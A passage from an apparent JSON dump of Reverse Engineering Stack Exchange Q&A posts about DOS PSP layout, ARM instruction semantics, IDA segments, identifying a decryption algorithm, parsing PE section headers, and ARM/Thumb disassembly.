yielding <code>base-PSPseg</code> offset <code>0x0010</code> (16 segments, 256 bytes - exactly the size of PSP).</p>\n\n<p>If this offset is not fixed and both PSP and the application are just loaded randomly in whatever memory location is big enough, then is there at least any guarantees about their addresses? Like that PSP address is always lower than the app's base address?</p>\n",
        "Title": "Any correlation between DOS Program Segment Prefix and the base address of loaded executable?",
        "Tags": "|disassembly|x86|dos|dos-exe|segmentation|",
        "Answer": "<p>The PSP is a process table, it holds information about a running process (application), it is created and filled by the loader. The loader uses the EXEHDR information to fill some of the fields of the PSP and else. After creating the PSP the loader grabs the application code (whatever comes after the EXEHDR up to the end of the file and loads just after the PSP.</p>\n\n<p>The PSP occupies the beginning of an application (COM and EXE) allocated memory; the PSP offset in the segment is always 0000H - 100H. When your application starts, DS and ES segments points to PSP, you have to adjust them to your application data segment before proceeding.</p>\n\n<p>Segments are not fixed, they are defined based on the free memory space, but offsets within a segment are always the same, otherwise your applicaton would break, all your data and code is defined (calculated) base on offsets from the beginning of a segment.</p>\n\n<p>CS is filled by the loader after allocating memory and loading your program, IP is also filled by the loader, this information is extracted from the EXEHDR (the offset of the application entry point (it is calculated by the assembler/compiler when it builds the object code), but its defined by the programmer in assembly, it is the label set after the directive END in masm, or by the compiler, in c is the main function offset ).</p>\n"
    },
    {
        "Id": "6061",
        "CreationDate": "2014-08-12T16:38:24.023",
        "Body": "<p>I am quite new to ARM assembly, I already saw that the bang (<code>!</code>) is used to really update a register after a computation in the addressing mode syntax, but I can't figure out what is the difference of semantics between (this output is from <code>objdump</code> so it uses <code>gas</code> syntax):</p>\n\n<pre><code>ldm r4!, {r0, r1, r2, r3}\n</code></pre>\n\n<p>And:</p>\n\n<pre><code>ldm r4, {r0, r1, r2, r3}\n</code></pre>\n\n<p>Any idea ?</p>\n",
        "Title": "What is the meaning of '!' in ldm arm assembler instruction?",
        "Tags": "|assembly|arm|gas|",
        "Answer": "<p>The <code>!</code> denotes <em>writeback of the base register</em>. <strong>Base register</strong> is the register used to address the memory to be read or written - in your case it's <code>R4</code>. <strong>Writeback</strong> means that the base register will be updated with the delta equal to the size of transferred data.</p>\n\n<p>So, the instruction </p>\n\n<pre><code>ldm r4!, {r0, r1, r2, r3}\n</code></pre>\n\n<p>can be represented by the following pseudocode:</p>\n\n<pre><code>r0 = *(int)(r4) \nr1 = *(int)(r4+4) \nr2 = *(int)(r4+8) \nr3 = *(int)(r4+12) \nr4 = r4 + 16 // writeback (16 bytes transferred)\n</code></pre>\n\n<p>In the variant without <code>!</code> the writeback doesn't happen so <code>R4</code> retains the original value.</p>\n\n<p>In the <code>LDR</code> and <code>STR</code> instructions you may also encounter <em>pre-indexed</em> and <em>post-indexed</em> notation:</p>\n\n<pre><code>LDR R0, [R4, #4]  ; simple offset: R0 = *(int*)(R4+4); R4 unchanged\nLDR R0, [R4, #4]! ; pre-indexed:   R0 = *(int*)(R4+4); R4 = R4+4\nLDR R0, [R4], #4  ; post-indexed:  R0 = *(int*)(R4+0); R4 = R4+4\n</code></pre>\n\n<p>For more information see the <a href=\"http://www.keil.com/support/man/docs/armasm/\">ARM Assembler Guide</a>.</p>\n"
    },
    {
        "Id": "6065",
        "CreationDate": "2014-08-13T13:30:34.913",
        "Body": "<p>Still looking at ARM assembler semantics (and, I try hard to read the specification, I ensure you!!!). I have some doubts about the ARM bit-shift instructions in general and <code>RRX</code> in particular.</p>\n\n<p>Lets start with <code>RRX</code>. </p>\n\n<p>From <a href=\"http://www.davespace.co.uk/arm/introduction-to-arm/barrel-shifter.html\" rel=\"nofollow noreferrer\">Davespace, Introduction to ARM, section <em>Barrel Shifter</em></a>, we see that <code>RRX</code> correspond to:</p>\n\n<p><img src=\"https://i.stack.imgur.com/Fcyhv.png\" alt=\"RRX: Barrel RollRotate Right Extended\"></p>\n\n<p>I suppose the <code>C</code> to be the carry flag found in the CPSR, is it correct ?</p>\n\n<p>Second question, in the case of the following instruction:</p>\n\n<pre><code>ands   r9, r0, r0, ror #3\n</code></pre>\n\n<p>I read that the carry flag (<code>C</code>) is set to the value of the last bit shifted out by the shifter operand (here <code>ROR</code>). </p>\n\n<p>My problem is that the <code>ands</code> is also supposed to update the CPSR because of its flag <code>s</code>. So, who is winning at the end ? And, what is left in the final carry flag ? The value resulting of <code>AND</code> or the value resulting of <code>ROR</code> ?</p>\n",
        "Title": "Semantics of the RRX shift instruction in ARM and Carry flag updates?",
        "Tags": "|assembly|arm|",
        "Answer": "<ol>\n<li><p>Yes, <code>C</code> is the carry flag.</p></li>\n<li><p><code>C</code> is set from the result of the <code>ROR</code> operation. </p></li>\n</ol>\n\n<p>Pseudocode of the <code>AND (register)</code> instruction from the <a href=\"http://infocenter.arm.com/help/topic/com.arm.doc.ddi0406c/index.html\" rel=\"nofollow\">ARM ARM</a>:</p>\n\n<pre><code>if ConditionPassed() then\n    EncodingSpecificOperations();\n    (shifted, carry) = Shift_C(R[m], shift_t, shift_n, APSR.C);\n    result = R[n] AND shifted;\n    if d == 15 then // Can only occur for ARM encoding\n        ALUWritePC(result); // setflags is always FALSE here\n    else\n        R[d] = result;\n        if setflags then\n            APSR.N = result&lt;31&gt;;\n            APSR.Z = IsZeroBit(result);\n            APSR.C = carry;\n            // APSR.V unchanged\n</code></pre>\n\n<p>As you can see, <code>APSR.C</code> is set to the result of the shift operation, not the <code>AND</code> operation.</p>\n\n<p>Now, <code>AND</code> is pretty straightforward but in case of e.g. <code>ADD</code> you may have carry affected by both the shift and the add. So what happens? Again, ARM ARM to the rescue:</p>\n\n<pre><code>if ConditionPassed() then\n    EncodingSpecificOperations();\n    shift_n = UInt(R[s]&lt;7:0&gt;);\n    shifted = Shift(R[m], shift_t, shift_n, APSR.C);\n    (result, carry, overflow) = AddWithCarry(R[n], shifted, APSR.C);\n    R[d] = result;\n    if setflags then\n        APSR.N = result&lt;31&gt;;\n        APSR.Z = IsZeroBit(result);\n        APSR.C = carry;\n        APSR.V = overflow;\n</code></pre>\n\n<p>The answer: the add \"wins\" and the carry of the shift operation is discarded.</p>\n\n<p>BTW, a good page to check what happens for each concrete instruction is <a href=\"http://svr-acjf3-armie.cl.cam.ac.uk/main.cgi\" rel=\"nofollow\">here</a>. For example:</p>\n\n<pre><code>ands r9, r0, r0, ror #3\nmachine code: E01091E0\n...\ncpsr.N  \u2190   (r0 AND r0 ROR 3)&lt;31&gt;\ncpsr.Z  \u2190   r0 AND r0 ROR 3 = 0\ncpsr.C  \u2190   #CARRY (ROR_C (r0,3))\nr9  \u2190   r0 AND r0 ROR 3\nr15 \u2190   r15 + 4\n\n\nadds r9, r0, r0, ror #3\nmachine code: E09091E0\n...\ncpsr.N  \u2190   (r0 + r0 ROR 3)&lt;31&gt;\ncpsr.Z  \u2190   r0 + r0 ROR 3 = 0\ncpsr.C  \u2190   #CARRY (AddWithCarry (r0,r0 ROR 3,False))\ncpsr.V  \u2190   #OVERFLOW (AddWithCarry (r0,r0 ROR 3,False))\nr9  \u2190   r0 + r0 ROR 3\nr15 \u2190   r15 + 4\n</code></pre>\n"
    },
    {
        "Id": "6067",
        "CreationDate": "2014-08-13T14:20:53.240",
        "Body": "<p>I'm disassembling a packed 16 bit DOS MZ EXE.</p>\n\n<p>To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image.</p>\n\n<p>Problems started when I loaded the image in IDA. You see, I don't understand the IDA's concept of segments. They are similar to x86 segments, but there are numerous differences which I can't grasp. When IDA asked me to create at least one segment, I just made a single huge segment 1 MB length, because the code and data in program's address space are mixed and it doesn't make sense to introduce separate segments such as <code>CODE</code>, <code>DATA</code> etc. </p>\n\n<p>After showing IDA the entry point, everything worked fine: IDA successfully determined functions, local variables, arguments etc. The only problem is that some calls are marked as <code>NONAME</code>, even though they point at correct subroutines. The strangest thing is that those subroutines have correct XREFs to the 'illegal' calls. Here's an example:</p>\n\n<pre><code>seg000:188FF 004                 call    1AD9h:1         ; Call Procedure\n</code></pre>\n\n<p>This line is red and has an associated <code>NONAME</code> problem in Problems List. Why?</p>\n\n<p>The <code>1AD9h:1</code> seg:offset address corresponds to linear address <code>0x1ad91</code>, which has this:</p>\n\n<pre><code>seg000:1AD91     ; =============== S U B R O U T I N E =======================================\nseg000:1AD91\nseg000:1AD91     ; Attributes: bp-based frame\nseg000:1AD91\nseg000:1AD91     sub_1AD91       proc far                ; CODE XREF: sub_188F2+DP\n</code></pre>\n\n<p>Note the XREF. So IDA actually processes the call correctly! Why is the call considered invalid? IDA help file says this:</p>\n\n<blockquote>\n  <h2>Problem: Can not find name</h2>\n  \n  <p><strong>Description</strong></p>\n  \n  <p>Two reasons can cause this problem:</p>\n  \n  <ol>\n  <li>Reference to an illegal address is made in the program being\n  disassembled;</li>\n  <li>IDA couldn't find a name for the address but it must exist. </li>\n  </ol>\n  \n  <p><strong>What to do</strong></p>\n  \n  <ol>\n  <li><p>If this problem is caused by a reference to an illegal address</p>\n  \n  <ul>\n  <li>Try to enter the operand manually</li>\n  <li>Or <strong>make the illegal address legal by creating a new segment</strong>.</li>\n  </ul></li>\n  <li><p>Otherwise, the database is corrupt.</p></li>\n  </ol>\n</blockquote>\n\n<p>So, I guess the problem is that I have one gargantuan segment instead of several small ones. But, how do I properly divide the address space into appropriate segments? </p>\n\n<p>I know the register values (including <code>DS</code>, <code>CS</code>, <code>SS</code>, <code>IP</code>, etc) at the entry point. Let's assume I create a <code>CODE</code> segment starting from the segment corresponding to the CS register value at the entry point. But what length should this segment have ?</p>\n\n<p>What's the point of segments in IDA at all? If DATA segments can contain instructions, and CODE segments can be read and written as data?</p>\n\n<p>Please excuse me for such a newbie question, but official IDA manual is notoriously scarce and HexRays forums are closed for me because I use freeware version. </p>\n",
        "Title": "Segments in IDA. How to overcome NONAME problem",
        "Tags": "|ida|disassembly|segmentation|",
        "Answer": "<p>I dealt with a ROM image once and faced this problem.  I was confused too about what to do until Igor offered his advice.</p>\n\n<p>What seemed to be happening was that the linker was placing every object file into its own segment, so every inter-object function invocation was rendered in the binary as a far call, where the segment base was the base given to all functions within the module.  I.e., the case you mention in your reply to Igor's comment did not materialize for me.</p>\n\n<p>To fix it, I searched the binary for all far call instructions and then created a new IDA segment (as large as possible) at the linear address of each referenced x86 segment.  I.e., I did indeed end up with lots of tiny segments.  This is not really a problem; really, the problem is that by not doing this, the references won't be disassembled correctly.  It was pretty quick work and probably could be automated with a script.</p>\n"
    },
    {
        "Id": "6069",
        "CreationDate": "2014-08-13T18:18:38.470",
        "Body": "<p>I'm disassembling a packed 16 bit DOS MZ EXE.</p>\n\n<p>To deobfuscate it, I've set a breakpoint in DOSbox at the end of the unpacking routine, let it run, and made a memory dump. This way I essentially got the deobfuscated EXE image. Then I loaded this image in IDA.</p>\n\n<p>Obviously, there's no MZ header anymore, so IDA can't know the application's entry point and initial values of CS, SS and other segment registers. I, however, do know these values, and I'm willing to supply them to IDA. To do this, I hit <kbd>Alt</kbd>+<kbd>G</kbd> and type the register's value.</p>\n\n<p>However, instead of showing <code>assume ds:&lt;value&gt;</code>, IDA shows</p>\n\n<pre><code>seg000:1AEBC                     assume es:nothing, ss:nothing, ds:nothing\n</code></pre>\n\n<p>Why?</p>\n\n<p>Another question. Why there is no option to set the value of CS register? Consider code which contains near jumps. Without knowledge about the CS register value, IDA won't be able to proceed with disassembling. But I <em>do</em> know what value CS has at this specific point! How do I supply this information to IDA if the <code>Segment Register Value</code> dialog window doesn't have CS option?</p>\n",
        "Title": "Why IDA aggressively assumes 'nothing' on segment registers?",
        "Tags": "|ida|disassembly|segmentation|",
        "Answer": "<p>DOS programs used segments and IDA was made to mimic that behavior. That's why you cannot change CS (since in properly set up database CS is just the segment's base) and why your changes to segment registers do now show up (because there is no segment corresponding to the values you enter).</p>\n\n<p>I would suggest opening a normal (not packed) MZ file to see how it's supposed to look. If you keep fighting IDA instead of working with it you'll keep having problems.</p>\n"
    },
    {
        "Id": "6073",
        "CreationDate": "2014-08-14T02:13:14.243",
        "Body": "<p>I have a decryption algorithm that has been pulled from an x86 binary and converted into C# code. The C# works perfectly to decrypt data, but I'd like to identify the algorithm in use, so I could (among other things) possibly replace the extracted algorithm with an identical one from a third party library (like <a href=\"https://www.bouncycastle.org/\" rel=\"nofollow\">Bouncy Castle</a>) but I don't know where to begin.</p>\n\n<p>I'm including my code below for reference. I'd like to find out how to even go about identifying such a thing. (Of course, the name of the algorithm would be greatly appreciated as well!)</p>\n\n<pre><code>public class Crypto\n{\n    private static uint[] _MCInitVector = {\n        0xDB792195, 0xE63BF923, 0x4F6F076D, 0x122CDED5, 0xDA711220, 0x4F6FCEE6, 0x45E45C44, 0xCF852932,\n        0x469ADBF6, 0x5E12481F, 0x682D2354, 0xBDD21105, 0x5BB5F3E6, 0x6E8C82CA, 0xD0FDD8E3, 0xBE4CB2DF,\n        0xE3EB3F01, 0xD03D3F32, 0x77A4E3FF, 0xDF17D4B5, 0x2AC710AC, 0x5ACAC8ED, 0x703BD8E4, 0x1D9C3B3B,\n        0x4564A5D2, 0xB0224742, 0xB5A3048A, 0xA35A3F55, 0xCA33744F, 0xF1AEC0A0, 0x0BF4B1A4, 0x04038654,\n        0x7C65A9EC, 0xAA41DC51, 0xE5096687, 0x1D433C75, 0x35DE20AF, 0xDB75DA77, 0x230A8E81, 0x18BE6B31,\n        0x8D8857BA, 0x0EC016A2, 0x2FF6FB27, 0x37D3EB09, 0x91A6A259, 0x13E0EA7B, 0x07926A43, 0x21DF97F9,\n        0x24FD4BEB, 0x10315AA3, 0x58D70DF3, 0x7C56F52D, 0x1ABF4E8F, 0x50E140B0, 0xE1E9FEB2, 0x90380A5E,\n        0xEA3761D3, 0x583B843B, 0xF0F9496F, 0xC9FCD225, 0x35EC4846, 0x550CFA8B, 0x574DD012, 0x66C3ABF9,\n        0x55A7DBF8, 0x510A4DAE, 0xFF1738CC, 0x9AC85D2F, 0x3A7704F5, 0xDDB85A5C, 0x86A50929, 0xFB01BD4F,\n        0x877DDF76, 0x187EF004, 0x912E5B3E, 0xEBE1CBDD, 0x354F0206, 0x9D889D03, 0x910D16EF, 0xA67178A7,\n        0xC2DEEEDF, 0xE433A4BC, 0x474B91F7, 0x14A28299, 0xCBAD7D66, 0x494D39DF, 0x8B6BB28E, 0xCDCC33EE,\n        0xAF37C9D3, 0x9D79794F, 0x6B2C05ED, 0xA8823F18, 0x6225D7ED, 0x292E7345, 0xA04CE9DF, 0x951ABE7F,\n        0x72C3CC98, 0xCD1E0582, 0x41224C23, 0x90D26E39, 0xC75B1461, 0xE0B5DBD1, 0x83BA4F78, 0x2A072F2B,\n        0xA1A24F28, 0xB3BF06C8, 0xD5335518, 0x186662AC, 0xBC71C21F, 0x2BFC24A8, 0xDBB15F07, 0x076C83F5,\n        0xBD656129, 0x507A23D6, 0xB3CE5930, 0xD68E24EF, 0xE82CAF40, 0xA53C0493, 0x79CE3BB7, 0x030FEF29,\n        0x347E8A30, 0xFF6E9D5C, 0xCE9B9A04, 0xBC4E5140, 0x949BBE83, 0xCB8B3DBE, 0xAE1D5F44, 0x21148102,\n        0x754E9EAF, 0xF2DEAE15, 0xF2EB3A8C, 0x8B1614AE, 0x6ED005B6, 0xCA16DD83, 0x29BD701B, 0xAA6201C9,\n        0x58CE4025, 0x9C6121CB, 0x11C03985, 0xEFFC2A2A, 0x4136605B, 0x7F30DDFD, 0x19ECCC35, 0x4D6E1426,\n        0x6360EE03, 0xE69CB55A, 0xD181A69D, 0x7E69A4C7, 0x91B4C97C, 0x9BA0F967, 0xE05438A6, 0xF6A6AB45,\n        0xD0808096, 0xCE1DB289, 0x8FDF796F, 0x4D3B9B25, 0xA4AD9AE6, 0x5DF9105F, 0x71B1FD3E, 0xF90A6F7C,\n        0xEE1D1310, 0x183B6922, 0x2AD9A280, 0x50EAD939, 0x0B5990F6, 0xEAB6D31C, 0xD1F23104, 0x3FA68196,\n        0xA228DCCC, 0x68C10912, 0x9003CF9C, 0xB92E58C4, 0x9FBBA10F, 0x3DA05555, 0xAE52996D, 0x8F0A3B2C,\n        0x12F8D4DF, 0x02DF25C9, 0x51D99D11, 0x950AEAD2, 0xFFF87B29, 0xCDA6B1E7, 0x13056DC7, 0x189BA81A,\n        0xA23C22E1, 0x0F9E5E7F, 0x799B23CD, 0x53DB90F6, 0xA388548B, 0xB9C0D3E5, 0x753BB810, 0xC3768EFD,\n        0x2D66B7F2, 0x16EEC5CB, 0x4490D722, 0xF813E0E6, 0xD02DC104, 0x1FE5CA4F, 0x18A27E69, 0x191699FF,\n        0xB366A330, 0x4B01495D, 0x5529AD4D, 0x48F2FE87, 0x926C55F1, 0x53491F9B, 0x875BA8D1, 0xEF2C3CD8,\n        0xE50C89F9, 0x5201768C, 0x1A5C4B35, 0x114C0C76, 0x77D8B1DF, 0x75E77E8A, 0x39826BA2, 0x3FFACC4F,\n        0xF5FF4FF7, 0xA0B10525, 0xFD46ED4F, 0xE97C9F45, 0x568CB141, 0xD45C1365, 0x788B2B7E, 0xABAA5158,\n        0x73AD6AEA, 0x041E5FCA, 0x0BE48855, 0x01C285AF, 0x0B2EFB29, 0x49655AEE, 0xABBF0B3C, 0x958E4617,\n        0x0A8CD37A, 0x871758F9, 0x0DB1A84D, 0xE453974A, 0x78308BD6, 0x7456A7EB, 0x76FF0F79, 0x3C1957D9,\n        0xD6E89EE6, 0x4DB3A5B2, 0xBAC849BA, 0xC68E2110, 0xE8F9F2EB, 0x970F676E, 0x034377B6, 0xF0DC724F,\n        0xFF290056, 0xD3B7F2FF, 0x72DF023B, 0x3021ACA2, 0x352EE316, 0xE046B5CA, 0xE94E08BC, 0x41BFFB5A\n    };\n\n    private byte[] _decryptKey;\n    private uint[] _decryptSet;\n    private uint _decryptState1;\n    private uint _decryptState2;\n    private uint _decryptState3;\n    private int _decryptSetIndex;\n    private int _decryptKeyIndex;\n\n    public uint Seed { get; set; }\n\n    public Crypto(uint seed)\n    {\n        this.Seed = seed;\n\n        _decryptKey = new byte[128];\n        _decryptSet = new uint[512];\n\n        // round 0\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = seed;\n        _decryptState2 = 0;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n        uint key = getNextKey();\n\n        // round 1\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = seed;\n        _decryptState2 = key;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n        for (int i = 0; i &lt; 5; i++)\n        {\n            key = getNextKey();\n        }\n\n        // round 2\n        Array.Copy(_MCInitVector, _decryptSet, 256);\n        Array.Clear(_decryptSet, 256, 256);\n        _decryptState1 = key;\n        _decryptState2 = 0;\n        _decryptState3 = 0;\n        _decryptSetIndex = 0;\n\n        // fill decrypt keys\n        _decryptKeyIndex = 31;\n        for (int i = 124; i &gt;= 0; i -= 4)\n        {\n            BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, i);\n        }\n    }\n\n    private uint getNextKey()\n    {\n        int i = (--_decryptSetIndex);\n        if (i &lt; 256)\n        {\n            uint var1 = _decryptState1;\n            uint var2 = _decryptState2 + (++_decryptState3);\n\n            i = 0;\n            while (i &lt; 256)\n            {\n                uint j, k;\n                var1 = (var1 ^ (var1 &lt;&lt; 13)) + _decryptSet[(i + 128) &amp; 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j &amp; 0x3ff) &gt;&gt; 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k &gt;&gt; 8) &amp; 0x3ff) &gt;&gt; 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 &gt;&gt; 6)) + _decryptSet[(i + 128) &amp; 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j &amp; 0x3ff) &gt;&gt; 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k &gt;&gt; 8) &amp; 0x3ff) &gt;&gt; 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 &lt;&lt; 2)) + _decryptSet[(i + 128) &amp; 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j &amp; 0x3ff) &gt;&gt; 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k &gt;&gt; 8) &amp; 0x3ff) &gt;&gt; 2] + j;\n                i++;\n                var1 = (var1 ^ (var1 &gt;&gt; 16)) + _decryptSet[(i + 128) &amp; 0xff];\n                j = _decryptSet[i];\n                k = _decryptSet[i] = _decryptSet[(j &amp; 0x3ff) &gt;&gt; 2] + var1 + var2;\n                var2 = _decryptSet[i + 256] = _decryptSet[((k &gt;&gt; 8) &amp; 0x3ff) &gt;&gt; 2] + j;\n                i++;\n            }\n\n            _decryptState1 = var1;\n            _decryptState2 = var2;\n            i = _decryptSetIndex = 511;\n        }\n\n        return _decryptSet[i];\n    }\n\n\n    public void DecodePacket(ref byte[] packet)\n    {\n        int len = packet.Length;\n\n        // Poster's note: Packet is post-fixed with a 4 byte checksum, hence this subtraction\n        len -= 4;\n        int idx = _decryptKeyIndex * 4;\n        int i = 6; // Poster's Note: Actual packet data starts at index 6, index 5 and below are flags/metadata\n        // block decryption (OFB mode)\n        while (i &lt; len)\n        {\n            int j = idx &amp; 0x1f; idx += 4;\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n            packet[i++] ^= _decryptKey[j++];\n        }\n        len += 4;\n        // process left bytes\n        while (i &lt; len)\n        {\n            packet[i++] ^= _decryptKey[(idx++) &amp; 0x7f];\n        }\n\n        // update key stream\n        idx = _decryptKeyIndex;\n        BitConverter.GetBytes(getNextKey()).CopyTo(_decryptKey, idx);\n        _decryptKeyIndex = (idx + 31) &amp; 0x1f;\n    }\n}\n</code></pre>\n",
        "Title": "Identifying cryptography algorithm",
        "Tags": "|static-analysis|decryption|cryptography|c#|",
        "Answer": "<p>Structurally, it resembles HC-256, but it's hard to say for certain without running it and comparing the input/output to an existing HC-256 implementation. </p>\n"
    },
    {
        "Id": "6077",
        "CreationDate": "2014-08-15T14:53:23.377",
        "Body": "<p>I'm implementing a software for performing some PE classification. Among the features values I'm gathering from each PE are, the <strong>amount of sections</strong>, the <strong>name of sections</strong>, <strong>image section headers</strong>.</p>\n<p>I have been reading about <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms680198(v=vs.85).aspx\" rel=\"nofollow noreferrer\">ImageHlp Structures</a>. But there is no example on how to get those struct initialized from a file/path_to_a_file you pass. I'm specially interested in the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms680341(v=vs.85).aspx\" rel=\"nofollow noreferrer\">IMAGE_SECTION_HEADER</a> structure.</p>\n<p>How can I get the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms680341(v=vs.85).aspx\" rel=\"nofollow noreferrer\">IMAGE_SECTION_HEADER</a>s form an executable file programatically?</p>\n",
        "Title": "Get section's names and headers for a file using C++",
        "Tags": "|binary-analysis|c++|pe|",
        "Answer": "<p>I have extensive experience with parsing the PE on Windows, mainly for use in function interception. Here are the steps you should follow to achieve your goal.</p>\n<p>The first step is to find the base address of the image loaded into memory. This step will be different depending on if the executable has or hasn't been mapped into memory, but the basic idea will be the same. Assuming that you are interested in doing this for a file on disk, then you may do this with the <a href=\"https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping\" rel=\"nofollow noreferrer\">file mapping API</a>, if you would prefer to implement this on an executable loaded into memory as a running process, you can achieve the equivalent by using the the <a href=\"https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-module-list\" rel=\"nofollow noreferrer\">tool help snapshot API</a>. The base address will be the same as the field <code>hModule</code> in the <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-moduleentry32\" rel=\"nofollow noreferrer\"><code>MODULEENTRY32</code></a> data retrieved from the snapshot. For more information about what a module handle is, see <a href=\"https://devblogs.microsoft.com/oldnewthing/2004/06/14\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>Once you have completed the first step, the structure at the base address is the <a href=\"https://stackoverflow.com/questions/6126980/get-pointer-to-image-dos-header-with-getmodulehandle\"><code>IMAGE_DOS_HEADER</code></a>, while this is not documented on MSDN, it has two very important but cryptic fields.  The two fields you will need to know are the <code>e_magic</code> field and the <code>e_lfanew</code> field. The <code>e_magic</code> field contains a double word for 32-bit or quadruple for 64-bit that allows you to test if the file being read or your implementation is correctly formatted with the correct value being defined as <code>IMAGE_DOS_SIGNATURE</code>, which is the ASCII-Z string of &quot;MZ\\0&quot;. The <code>e_lfanew</code> field contains a <a href=\"https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address\">relative virtual address</a> which you need to add to the image base you found in step one to calculate the <a href=\"https://stackoverflow.com/questions/2170843/va-virtual-address-rva-relative-virtual-address\">virtual address</a> of the <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32\" rel=\"nofollow noreferrer\"><code>IMAGE_NT_HEADERS</code></a> structure.</p>\n<p>The third step will be to check the first member of the <code>IMAGE_NT_HEADERS</code> to see if it is an actual PE file, this will be defined by the <code>Signature</code> field of the structure, and the defined constant to test for will be <a href=\"https://web.archive.org/web/20180706112517/http://win32assembly.programminghorizon.com:80/pe-tut2.html\" rel=\"nofollow noreferrer\"><code>IMAGE_NT_SIGNATURE</code></a>. This is not typically nessecary, since most Windows versions will be using the PE format of executable file, but it's good practice in order to ensure your code is a bit more robust.</p>\n<p>Once everything checks out and you have performed steps 1-3, step four will be when you can finally calculate the address of the <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header\" rel=\"nofollow noreferrer\"><code>IMAGE_SECTION_HEADER</code></a> structures. The IMAGE_SECTION_HEADER structures are stored as an array in the file, so to obtain the size of the array, you will need to use the <code>NumberOfSections</code> member in the <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header\" rel=\"nofollow noreferrer\"><code>IMAGE_FILE_HEADER</code></a> structure which is nested in the <code>IMAGE_NT_HEADERS</code> structure mentioned above.Once you have that value, you may find the virtual address of the first <code>IMAGE_SECTION_HEADER</code> by adding the size of the <code>Signature</code> member of the <code>IMAGE_NT_HEADERS</code> structure, the size of the <code>FileHeader</code> member in the <code>IMAGE_NT_HEADERS</code> structure, and finally the <code>SizeOfOptionalHeader</code> value in the <code>IMAGE_FILE_HEADER</code> structure. The reason you can't simply do a <code>sizeof(</code> <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx\" rel=\"nofollow noreferrer\"><code>IMAGE_OPTIONAL_HEADER</code></a> <code>)</code> for the last value in the formula listed above is because a file on disk <em><strong>will not</strong></em> have the <code>IMAGE_OPTIONAL_HEADER</code>, so to obtain the proper size dynamically, you should do so through the structure member I mentioned earlier.</p>\n<p>Now you may simply copy the array of <code>IMAGE_SECTION_HEADER</code> structures from memory any way you please. Just remember, that these structures <em>are contigous</em> in memory, so all you need to do is multiply the size of each structure by the number of sections to find the total size of the entire array in memory. After you have calculate that value, it will be trivial to collect the data.</p>\n<p>For more resources on the PE executable format, see this wonderful article written by Matt Pietrek, <a href=\"https://docs.microsoft.com/en-us/previous-versions/ms809762%28v=msdn.10%29\" rel=\"nofollow noreferrer\"><em>Peering Inside the PE</em></a>. You may also take a look at the official specification <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "6080",
        "CreationDate": "2014-08-15T22:18:37.817",
        "Body": "<p>I try to build a small disassembler for ARM, and I would like to know how do <code>objdump</code> manage to sort out the normal mode instructions (32-bits instruction wide) from the thumb mode instructions (16-bits instruction wide) without having to look at the <code>t</code> flag in the CPSR.</p>\n\n<p>But first, let us build a small example and make some experiments on it. </p>\n\n<p>I wrote this small piece of ARM assembly (<code>gas</code> syntax) as basis example:</p>\n\n<pre><code>.arm\n    mov fp, #0\n    moveq   r1, r0\n.thumb\n    mov r0, #0\n    mov fp, r0\n</code></pre>\n\n<p>Then, I cross-compiled it like this:</p>\n\n<pre><code>$&gt; arm-none-eabi-gcc -Wall -Wextra -mlittle-endian -c -o arm_sample arm_sample.s\n</code></pre>\n\n<p>And, here is the output of <code>objdump</code> on the ARM object file:</p>\n\n<pre><code>$&gt; objdump -d ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nDisassembly of section .text:\n00000000 &lt;.text&gt;:\n   0:   e3a0b000    mov fp, #0\n   4:   01a01000    moveq   r1, r0\n   8:   2000        movs    r0, #0\n   a:   4683        mov fp, r0\n</code></pre>\n\n<p>But, when I run my tool, I get:</p>\n\n<pre><code> warning: decoder says at (0x8,0):'strmi r2, [r3], r0' : Unknown mnemonic\n   0:   00 b0 a0 e3                 mov fp, #0\n   4:   00 10 a0 01                 moveq   r1, r0\n   8:   ...\n</code></pre>\n\n<p>My tool is based on <code>libopcodes</code> (exactly like <code>objdump</code>), so the third instruction is just interpreted as still in 32-bits mode and the two thumb mode instructions are just interpreted as one 32-bits instruction which gives <code>strmi r2, [r3], r0</code>.</p>\n\n<p>My question is that I don't understand how <code>objdump</code> knows that there is a switch between normal mode to thumb mode. Before discovering this, I thought that this information was only available at execution time though the value of the <code>t</code> flag in the CPSR status register.</p>\n\n<p>I tried to look at the code of <code>objdump</code> but, I didn't see any architecture dependent cases to treat the case of the ARM thumb mode. So, this is still a mystery to me... </p>\n\n<p>Any suggestion is welcome 